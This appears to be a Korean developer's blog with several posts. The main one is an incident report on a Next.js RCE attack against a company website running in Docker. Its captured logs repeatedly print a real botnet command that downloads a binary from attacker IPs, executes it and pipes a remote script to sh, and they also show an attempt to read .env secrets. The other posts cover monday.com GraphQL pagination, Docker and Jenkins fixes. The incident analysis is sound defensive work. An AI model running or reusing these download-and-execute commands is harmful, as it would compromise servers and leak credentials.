애초에 안되던거 질문해도 x-api-key 가 잘못되있을거라느니 , JSON 형식이 아닌 TEXT 로 되있을 거라느니 도움안되는말만 계속 무한반복해서 별로 믿음은 안간다 , 포스트맨 버리고 curl 요청 쳐봐야겠다 생각한것도 내가 먼저 생각했던거고..

결론 : 포스트맨 이상하면 그냥 curl 때리자

Next.js RCE 취약점으로 인해 서버 다운, 삽질 기록 (Docker 환경 공격 분석)

월공 — Wed, 10 Dec 2025 10:54:49 +0900

1. 사건 발생

정상 가동중이던 사내 홈페이지가 갑자기 504 GATEWAY 뜬다고 제보가 들어왔다.
도커 로그 확인해보니 이상한 Buffer 뭐시기 로그들이 한가득 찍여있고 결국 컨테이너가 감당을 못해서 뻗어버림발생

2.증상 및 로그 분석

   },
          status: 0,
          signal: null,
          output: [
            null,
            <Buffer >,
            <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>
          ],
          pid: 179,
          stdout: <Buffer >,
          stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>,
          digest: '947727682'
        },
        status: 0,
        signal: null,
        output: [
          null,
          <Buffer >,
          <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>
        ],
        pid: 179,
        stdout: <Buffer >,
        stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>,
        digest: '947727682'
      },
      status: 0,
      signal: null,
      output: [
        null,
        <Buffer >,
        <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>
      ],
      pid: 179,
      stdout: <Buffer >,
      stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>,
      digest: '947727682'
    },
    status: 0,
    signal: null,
    output: [
      null,
      <Buffer >,
      <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>
    ],
    pid: 179,
    stdout: <Buffer >,
    stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>,
    digest: '947727682'
  },
  status: 0,
  signal: null,
  output: [Array],
  pid: 179,
  stdout: <Buffer >,
  stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a>,
  digest: '947727682'
  
  
  
  
  ==============================================
  
  '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&' ],

stderr 출력에서 보다시피 악성 외부 연결 흔적을 확인할 수 있었다.

컨테이너를 다시 구동 시켜놓고 실시간으로 모니터링을 하니 패턴이 아래와 같았다.

⨯ [Error: NEXT_REDIRECT] { digest: 'nextjs' }

Connecting to 45.61.157.12 (45.61.157.12:80)

# 이 다음 위에 로그처럼 우다다다다

NEXT_REDIRECT 찍히고나서 2~3분 이내에 Connection to... 가 찍히더니 위에 우다다다 로그 찍힘

난 저쪽으로 Connection 관련 소스를 작성한적이 없는데 이게 뭔 일 ..?

확인해보니 wget, curl, busybox 프로세스가 컨테이너 내부가 아닌 돌아가고있는 서버(로컬)에서 지속 실행되고 있다.

   ps aux | grep -E "x86|nuts|45.61|89.144"
1001     2858396  0.0  0.0   1644    64 ?        S    02:30   0:00 /bin/sh -c (cd /dev;(busybox wget -O x86 http://45.61.157.12/nuts/x86||curl -s -o x86 http://45.61.157.12/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://45.61.157.12/nuts/bolts -O-||wget -q http://45.61.157.12/nuts/bolts -O-||curl -s http://45.61.157.12/nuts/bolts)|sh)&
1001     2858497  0.0  0.0   1644    72 ?        S    02:32   0:00 /bin/sh -c (cd /dev;(busybox wget -O x86 http://45.61.157.12/nuts/x86||curl -s -o x86 http://45.61.157.12/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://45.61.157.12/nuts/bolts -O-||wget -q http://45.61.157.12/nuts/bolts -O-||curl -s http://45.61.157.12/nuts/bolts)|sh)&
1001     2858598  0.0  0.0   1692     4 ?        S    02:34   0:00 wget -q http://45.61.157.12/nuts/bolts -O-
root     2858710  0.0  0.0 222324  2208 pts/6    S+   02:36   0:00 grep --color=auto -E x86|nuts|45.61|89.144

물론 이런건 아무리 process kill 해도 다시 되살아난다.

악성 IP 정리 표

항목	45.61.157.12	89.144.31.18	비고
역할	1차 페이로드 서버	2차/변형 공격 서버	서로 다른 배포 노드일 가능성 큼
관측된 요청 로그	Connecting to 45.61.157.12:80	wget http://89.144.31.18/nuts/x86	동일 명령 구조
다운로드 경로	/nuts/x86, /nuts/bolts	/nuts/x86, /nuts/bolts	파일명 동일 (봇넷 공통 페이로드)
목적	악성 바이너리 실행 및 추가 스크립트 주입	파일 실행 후 후속 명령 실행	서버 장악 / 마이너 / 백도어 삽입 목적 가능
사용된 명령어	busybox wget, curl, sh	busybox wget, curl, sh	동일 패턴 공격
위치 추정	North America (서버팜 / VPN 가능성)	Europe 추정	봇넷 분산 CDN 특성 가능성
특징	최초 감염 트리거에 등장	감염 후 후속 실행 명령 포함	공격 인프라 연결 확인됨
위험도	매우 높음	매우 높음	즉시 차단 필요
차단 권장	AWS 보안 그룹 / 방화벽 차단	동일	IP, CIDR 차단 추천

중간 중간에 다른 로그도 찍히는걸 보아하니, .env 파일도 탈취하려고 이런저런 시도를 하는듯

cat: can't open '.env*': No such file or directory
 ⨯ [Error: Command failed: cat .env*
cat: can't open '.env*': No such file or directory
] {
  status: 1,
  signal: null,
  output: [Array],
  pid: 196,
  stdout: <Buffer >,
  stderr: <Buffer 63 61 74 3a 20 63 61 6e 27 74 20 6f 70 65 6e 20 27 2e 65 6e 76 2a 27 3a 20 4e 6f 20 73 75 63 68 20 66 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 ... 1 more byte>,
  digest: '4105317061'
}

3. 원인 분석

Next.js 15.5.0 ~ 15.5.6 버전 React Flight Protocol RCE 취약점
(원격 코드 실행, Remote Code Execution)

https://news.hada.io/topic?id=24874

React와 Next.js에서 원격 코드 실행이 가능한 취약점 CVE-2025-55182( | GeekNews

React 서버 컴포넌트에서 인증 없이 임의 코드를 실행할 수 있는 원격 코드 실행(RCE) 취약점이 발견되어 즉시 업그레이드 필요Next.js도 영향을 받으며, App Router 기능을 사용하는 경우 취약함. Next.js

news.hada.io

4. 해결 과정

Next.js 16 으로 업그레이드 (node v20 이상)
.next 삭제, node_modules 삭제 , package.json 삭제
Docker 이미지 싹다 제거 후 다시 build ( --no-cache)

# 사용하지 않는 Docker 이미지 삭제
docker image prune -a -f

# 아래 폴더, 파일 삭제
rm -rf .next node_modules package-lock.json

# 재설치
npm install

# 검증
npm audit fix --force

# 빌드할때 --no-cache 필수, 안하면 잔재 남아서 계속 똑같음
docker build --no-cache -t myProject/bb:latest .

5. 마무리 회고

간단히 요약 정리해서 별거 아닌것 같지만, redis 컨테이너도 별도로 돌고있어서 처음에 redis 가 뚫렸나 하고 엄청 찾아보고 삽질 계속 했다.
가뜩이나 프로젝트 규모도 적은게 아니라서 build 배포 하는데에만 5분 가량이 걸리는데 지우고 배포하고 지우고 배포하고 무한반복 , 회사 다니면서 제일 힘든 날이었음, 피 말리는 시간이었다.
뭐가 됐든 이 사이트 개발 담당자가 나고, 인프라쪽에 대한 지식이 별로 그리 많지않은데 이리저리 해봐도 다 해결은 안되고, 최후의 보루로 서버까지 새로 파서 옮겼는데 똑같이 저 파바박 올라오는 로그 또 찍히는 순간 진짜 숨이 안쉬어짐;;

어쨋든 해결이 완료되었고, 이런 취약점 정보가 공개되는 즉시 파악할 수 있도록 관련 개발자 보안 커뮤니티(?) 를 주기적으로 눈팅 하기로 다짐하였다.
~~프레임워크 릴리즈 노트 보는것도 하나의 방법일텐데 , 이거까지 주기적으로 보는 사람이 있나 ..?~~

아래는 삽질 과정에 쳤던 다른 명령어들 ..
sudo grep -R "45\.61" /etc /home /var 2>/dev/null
grep -R "45\.61" /var/lib/docker 2>/dev/null | head -n 30
grep -R "45\.61" /app -n | head -n 50
sudo grep -R "nuts" /etc /var/spool/cron /var/spool/cron/crontabs 2>/dev/null
grep -R "sh" /app -n | head -n 50
ps aux | grep x86
iptables -A INPUT -s 89.144.31.18 -j DROP

Next.js 를 사용했던 이유는 PHP 에만 절여져있던 나를 좀 더 한층 업글하기 위함이었는데 이런 일 당하니 좀 ..
솔직히 별것도 아닌것도 죄다 컴포넌트화시켜서 import 하는것도 좀 맘에들지 않는 방식이다
사용하면서도 늘 이게 과연 깔끔한 방식인가 에 대한 의구심이 들음

역시 PHP 가 최고인것인가 ?! ㅋㅋㅋ

먼데이 API 활용 보드 데이터 추출, monday.com GraphQL, cursor 정리

월공 — Fri, 24 Oct 2025 23:12:01 +0900

현재 다니는 회사에서 업무툴로 먼데이닷컴을 사용중이다.
한 보드에 item 만 대략 5천개 가량이있고, 매일 밤 시간대마다 내부 DB 에 동기화를 치는 작업을 하고있다.
근데 일주일전부터 동기화가 되지않는 오류가 발생하였고, 이런저런 삽질을 하다가 결국 해결하고 정리하는 포스팅이다.
사실 이미 ai 가 만연히 퍼져있기에 정리하는게 무슨 의미가 있겠냐만은 .. 그래도 이 포스팅 또한 ai 가 긁어가면 더 간결하고 나은
답변을 내주지않을까? ㅋㅋ

먼데이는 그래프큐엘로 api 를 제공중이고 , 데이터를 select 하려면 아쉽게도 최대 500개 제한이 존재한다.
사실 좀 적다 라고 느껴질수있지만 먼데이닷컴을 좀 사용핟보면 그럴만하다고 느껴지는게, 먼데이는 단순한 게시판 형식의 페이지가 아니라 보드끼리 Relation , Mirror 기능도 존재하기에 어쩔수없는 제한인듯하다

기존에 사용하던 쿼리가 아래와 같다.

//최초 실행 쿼리
query {
        boards(ids : '.$board_id.'){
            items_page (limit: 50) {
                cursor
                items{
                    board {
                        id
                    }
                    id
                    name
                    state
                    parent_item {
                        id
                    }
                    column_values {
                        column {
                            id
                            title
                            type
                        }          
                        text
                        value
                        ... on MirrorValue {
                            display_value
                        }
                        ... on BoardRelationValue {  
                            linked_item_ids  
                            linked_items {
                                name            
                            }
                        }  
                    }
                }
            }
        }
    }
    
   //그 다음 cursor 넣고 돌리는 쿼리

먼데이닷컴 api 를 좀 사용해본 경험이 있는 사람이면 알겠지만 column_values 저 안에 JSON 형식으로 어마어마한 데이터가 들어가있다. (물론 보드에 컬럼이 많다는 전제하에)
그리고 MirrorValue, BoardRelationValue 까지 있으면 이 보드와의 미러값, 그리고 이 보드와 관계되어있는 모든 연결된 아이템들의 정보까지 긁어오라고 시키는거다

먼데이 api 로 페이지네이션을 하기 위해서는 cursor 값을 받아와서 그 값을 넣고 재호출을 해줘야하는데
오늘에서야 알게된 사실이지만, 최초 호출 후에 30분 가량이 지나면 먼데이 측에서 cursor 값을 강제로
expired 시켜버린다 아래처럼 (데이터 select 해서 나오는 cursor 넣고 다음 페이지 호출, 또 다음 페이지 호출 반복하는게 30분 넘으면 커트 당한다는 소리)

monday_api_fail: {"data":null,"errors":[{"message":"CursorExpiredError: The cursor provided for pagination has expired. Please refresh your query and obtain a new cursor to continue fetching items","locations":[{"line":1,"column":3}],"path":["next_items_page"],"extensions":{"code":"CursorException","status_code":200,"error_data":[],"service":"monolith"}}],"extensions":{"request_id":"8a049927-11c4-9a00-b68b-5e0b71002aaf"}}

보드에 데이터가 많아진만큼 , select 해오는데에 오래걸릴수 밖에없고 , 당연히 5000개를 전부 페이지네이션으로 값을 불러오기엔 30분으로 턱없이 부족했다.

그래서 좀 고민후에 아래처럼 구조를 바꾸기로 했다.

//최초 실행 쿼리
query {
        boards(ids : '.$board_id.'){
            items_page (limit: 500) {
                cursor
                items{
                    board {
                        id
                    }
                    id
                    name
                    state
                    parent_item {
                        id
                    }
                }
            }
        }
    }
    
//그 다음 실행 쿼리
query { 
    next_items_page (limit: 500,  cursor:"'.$cursor.'"){
        cursor
        items{
            board {
                id
            }
            id
            name
            state
            parent_item {
                id
            }
        }
    }      
}

column_values 를 뺀것만해도 응답속도가 어마어마하게 빨라졌고 , item_id 500개씩 추출해오는건 금방이었다.

item_id 만을 500개씩 페이지네이션으로 쭈욱 받아와서 배열에 전부 때려박은다음 순차적으로 해당 item_id 들을 여러개 묶어서 한번에 column_values 들 추출해오는것.

ids 에 25개씩 나눠서 호출하면 잘 받아온다. (왜 하필 25개 인지는 모르겠는데 ids에 아무리 많이 넣어도 25개만 받아옴 )

query {
    items(ids: ['.$ids_string.']) {
        id
        name
        state
        board {
            id
        }
        parent_item {
            id
        }
        column_values {
            column {
                id
                title
                type
            }          
            text
            value
            ... on MirrorValue {
                display_value
            }
            ... on BoardRelationValue {  
                linked_item_ids  
                linked_items {
                    name            
                }
            }  
        }
    }
}

그리고 25개씩 데이터가 처리될때 메모리에 남기지않고 바로바로 처리해버린다음 unset 으로 메모리 정리해주는게 , 메모리 부족 문제 이슈도 보완할수 있어서 좋다.

[Docker] docker error failed to solve: archive/tar: unknown file mode ?rwxr-xr-x , load build context

월공 — Wed, 8 Jan 2025 07:56:11 +0900

docker-compose up 도중 지속적인 에러메시지 발생

#9 [app internal] load build context
#9 transferring context: 122.84MB 3.2s done
#9 ERROR: archive/tar: unknown file mode ?rwxr-xr-x
------
> [app internal] load build context:
------
failed to solve: archive/tar: unknown file mode ?rwxr-xr-x

archive/tar 는 쓰지도 않는데 뭔 소리래.. 하고 ai 한테 물어보니 tar 를 점검해보라며 어쩌고 저쩌고 도움안되는 말만 한다.

이럴땐 직접 발품 팔아야지 ~

다른 블로그 보니 node_modules 랑 package-lock.json 삭제 후 재빌드 하면 된다는데 난 그렇게해서 안됐고,

삭제해서 된다는거 보니 다른걸 삭제해야되나보다 해서 프로젝트 루트 경로 자세히 살펴보니 .npm , .composer 등 기분나쁘게 생긴 폴더들 있어서 싹다 날리니 그제서야 잘됌

풀 에러 메시지는 아래

$ docker-compose up --build -d
time="2025-01-07T17:45:59+09:00" level=warning msg=" 프로젝트 경로 \\docker-compose.yml: the attribute `version` is obsolete, it will be ignored, please remove it to avoid potential confusion"


#0 building with "desktop-linux" instance using docker driver

#1 [app internal] load build definition from dockerfile
#1 transferring dockerfile: 1.15kB done
#1 DONE 0.0s

#2 [app internal] load metadata for docker.io/library/composer:latest

#2 ...

#3 [app auth] library/php:pull token for registry-1.docker.io
#3 DONE 0.0s

#4 [app auth] library/composer:pull token for registry-1.docker.io
#4 DONE 0.0s


#5 [app internal] load metadata for docker.io/library/php:8.2-fpm
#5 DONE 1.6s

#2 [app internal] load metadata for docker.io/library/composer:latest
#2 DONE 1.6s

#6 [app internal] load .dockerignore
#6 transferring context: 65B done
#6 DONE 0.0s

#7 [app stage-0  1/12] FROM docker.io/library/php:8.2-fpm@sha256:78234d3aeebce59eb9cb36e9f039e66ebbd5da47a796103c2a45d016596de10f
#7 DONE 0.0s

#8 [app] FROM docker.io/library/composer:latest@sha256:8d6046f012fa326beb2d4925f15d003283687bef33b41ba8bdaeec0c35b233bc
#8 DONE 0.0s

#9 [app internal] load build context
#9 transferring context: 122.84MB 3.2s done
#9 ERROR: archive/tar: unknown file mode ?rwxr-xr-x
------
 > [app internal] load build context:
------
failed to solve: archive/tar: unknown file mode ?rwxr-xr-x

[git bash] Window Docker 명령어 관련 메모, 윈도우 도커

월공 — Thu, 19 Dec 2024 08:36:21 +0900

윈도우 기준에서의 포스팅입니다.

docker 는 리눅스에서 잘돌아간다.
물론 윈도우에서도 docker window 버전이 있긴한데 , 행여나 나처럼 삽질하는 분이 계실까봐 남겨놓는 메모
사실 과거에 이런 경험이 있었는데 나도 기억이 안나고 어렴풋이 알고있었다가 이참에 그냥 적어둠

winpty docker run -it -p 8010:80 --name myContainer --entrypoint bash -v /c/web_developer/myProject/php:/app myImage

일단 git bash 에서 많이들 작업하실텐데, 커맨드로 쳐서 위와 같이 만든다고 할때
난 분명히 마운트를 정상적으로 했다 생각했는데 docker desktop 프로그램 상에서 컨테이너를 확인하면 아래와 같이 들어가있었다.

황당하게도 뒤에 ;C 가 들어가있는것을 볼 수 있다.

실제로 요따구로 만들어져있음 ㅋㅋ

당연히 저거 때문에 마운트는 엄한곳을 바라보고있고, 암만 수정해봤자 컨테이너쪽이 안변함

해결책은 의외로 간단한데, bash 에서 안만들면된다.
그냥 파워쉘에서 만들면 정상적으로 만들어짐

참고로 앞에 winpty 는 git bash 에서 docker 실행하려할때 앞에 필수로 붙여야하는것 .. 안붙이면 오류남

[jenkins] 뻗은 젠킨스 정상화 관련 메모(리눅스 jdk 1.8 에서 11, 젠킨스 정상화)

월공 — Tue, 10 Dec 2024 08:48:36 +0900

젠킨스가 뻗었다 , 접속이 안됌
플러그인 좀 써보겠다고 깝치면서 젠킨스 업그레이드 한 결과다

일단 내가 단단히 착각했던게 있었는데 , /var/lib/jenkins/jenkins.war 설치하면 , 기존 젠킨스 설치되어있는 경로에 알아서 잘 깔릴거라 생각했는데 , 븅딱 짓이었단것, 경로 설정을 해줘야함 차근차근 정리해두려고 함

일단 jdk 1.8 에서 11 로 업그레이드

# 자바 버전 확인
java -version

# yum install 안먹어서 수동으로 걍 겟 해옴 , 난 귀찮아서 오라클 홈페이지 접속해서 다운받고(jdk-11.0.25_linux-x64_bin.tar.gz),
파일질라로 올림, 난 기존에 사용중인 1.8 이 /usr/lib/jvm 라는 경로에 있어서 그대로 맞춰서 거기다
압축 풀었음

sudo tar -xvf jdk-11.0.25.tar.gz -C /usr/lib/jvm

sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-11.0.25/bin/java 1100
sudo update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk-11.0.25/bin/javac 1100

# 환경 변수 설정 (중요)
vi ~/.bashrc

[내용 추가]
export JAVA_HOME=/usr/lib/jvm/jdk-11.0.25
export PATH=$JAVA_HOME/bin:$PATH
[내용 추가]

# 환경 변수 적용 (중요)
source ~/.bashrc

# 자바 버전이 여러개라면 뭐 쓸지 픽해줘야함
sudo update-alternatives --config java

# 잘 설치됐고 ,환경변수도 정상적으로 적용 됐으면 아래처럼 다시 버전 확인했을때 11로 나와야됌
java -version

젠킨스

일단 젠킨스도 HOME 디렉토리가 있음

 echo $JENKINS_HOME

라고 쳤을때 나오는게 젠킨스 홈 디렉토리임, war 풀면 그쪽에 풀린다는 소리

설정 안되있다고 ? 하면됨
난 아래처럼 되있음, 위에 자바 업그레이드 할때 진입했던 vi ~/.bashrc 에 추가만 해주면 끝

그럼 다시 에코했을때 /var/lib/jenkins 가 나올건데 , 그 경로에 war 풀었을때 젠킨스 찐 파일들이 걸로 들어감

정리하면 (대부분, 백프로 확실아님)

/usr/lib/jenkins => jenkins.war 압축파일 모이는곳, java -jar jenkins.war 실행하면 jenkins 홈디렉토리에 압축풀림

/var/lib/jenkins => jobs, users, 플러그인 등등 모든 젠킨스 찐 폴더,파일들 모여있는곳, 젠킨스 버전 업글한다고 여기 폴더 함부로 지우면 그냥 큰일나는거임, 워크스페이스랑 유저정보 싹다 날아감, 최대한 백업해두고 조심조심

난 젠킨스 업그레이드 해놓고 user 랑 워크스페이스 싹다 날아가서 멘붕오고 삽질 겁나 했는데
